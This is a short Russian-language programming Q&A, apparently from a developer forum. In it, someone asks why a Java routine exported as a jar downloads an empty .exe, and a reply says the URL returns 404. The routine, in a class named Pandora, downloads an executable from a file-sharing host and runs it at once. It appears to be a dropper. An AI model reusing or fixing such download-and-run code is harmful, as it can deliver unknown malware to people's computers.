Файл загружается правильно в Eclipse, но когда я экспортирую флягу, он всегда загружает пустой exe.Кто-нибудь может помочь?
public static void downloadAndRunFile(final URL from, final File to) throws Exception { try (final InputStream in = from.openStream()) { Files.copy(in, to.toPath(), StandardCopyOption.REPLACE_EXISTING); } Desktop.getDesktop().open(to); }
Фактический код запускается
String bub = "https://a.coka.la/bnH6Vg.exe"; try { Pandora.downloadAndRunFile( new URL(bub), File.createTempFile("feelthevluci", ".exe")); } catch (Exception e) { // TODO Auto-generated catch block } }
URL в вашем коде, кажется, возвращает 404.
Я изменил его на что-то, что, как я знаю, работает и безопасно, и это работает как в IDE, так и в jar-файле.
Проверьте URL с помощью curl, браузера или другого инструмента, чтобы убедиться, что он работает.